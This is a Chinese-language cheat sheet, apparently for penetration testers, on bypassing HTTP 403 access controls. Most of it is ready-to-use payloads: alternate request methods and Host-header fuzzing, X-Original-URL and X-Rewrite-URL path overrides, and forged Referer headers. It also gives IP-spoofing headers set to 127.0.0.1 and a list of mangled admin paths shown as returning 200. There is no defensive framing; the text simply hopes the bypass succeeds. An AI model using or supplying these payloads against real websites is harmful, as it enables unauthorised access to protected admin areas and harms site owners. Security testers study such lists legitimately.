面对403的绕过技巧

利用不同的请求方式

尝试使用不同的请求方法来访问：GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

端口利用

可以通过扫描到其他端口，从而绕过受限制的网站

更换协议版本

使用http/1.1

或

http/1.0

或

http/2.0

修改host

Host作用:指定由哪个网站或web系统来处理请求

利用：可以通过修改host绕过，先将目标子域名收集一下，然后用fuzz批量跑，运气好就可能绕过了，网站就会返回200

覆盖请求url

可以尝试添加

X-Original-URL：

或

X-Rewrite-URL：

标头来替换url的路径，达到绕过web服务器的限制

Request

GET /admin/login HTTP/1.1

Response

HTTP/1.1 403 Forbidden

Request

GET / HTTP/1.1

X-Original-URL:/admin/login

Response

HTTP/1.1 200 ok

or

Request

GET /admin/login HTTP/1.1

Response

HTTP/1.1 403 Forbidden

Request

GET / HTTP/1.1

X-Rewrite-URL:/admin/login

Response

HTTP/1.1 200 ok

Referer标头绕过

利用referer绕过web服务器限制

Referer请求头包含请求页面的来源地址，服务器一般看referer识别请求的来源

Request

GET /admin/login HTTP/1.1

Host:xxx

Response

HTTP/1.1 403 Forbidden

Request

GET / HTTP/1.1

ReFerer:https://xxx/admin/login

Response

HTTP/1.1 200 ok

or

Request

GET /admin/login HTTP/1.1

Host:xxx

Response

HTTP/1.1 403 Forbidden

Request

GET /admin/login HTTP/1.1

ReFerer:https://xxx/admin/login

Response

HTTP/1.1 200 ok

代理ip

开发者会对nginx代理识别访问端ip，限制对其接口访问，尝试使用X-Forwarded-For、X-Forwared-Host等标头绕过Web服务器的限制

X-Originating-IP:127.0.0.1

X-Remote-IP:127.0.0.1

X-Client-IP:127.0.0.1

X-Forwarded-For:127.0.0.1

X-Forwared-Host:127.0.0.1

X-Host:127.0.0.1

X-Custom-IP-Authorization:127.0.0.1        

扩展名绕过

基于扩展名，用于绕过403受限制的目录

site.com/admin => 403

site.com/admin/ => 200

site.com/admin// => 200

site.com//admin// => 200

site.com/admin/* => 200

site.com/admin/*/ => 200

site.com/admin/. => 200

site.com/admin/./ => 200

site.com/./admin/./ => 200

site.com/admin/./. => 200

site.com/admin/./. => 200

site.com/admin? => 200

site.com/admin?? => 200

site.com/admin??? => 200

site.com/admin..;/ => 200

site.com/admin/..;/ => 200

site.com/%2f/admin => 200

site.com/%2e/admin => 200

site.com/admin%20/ => 200

site.com/admin%09/ => 200

site.com/%20admin%20/ => 200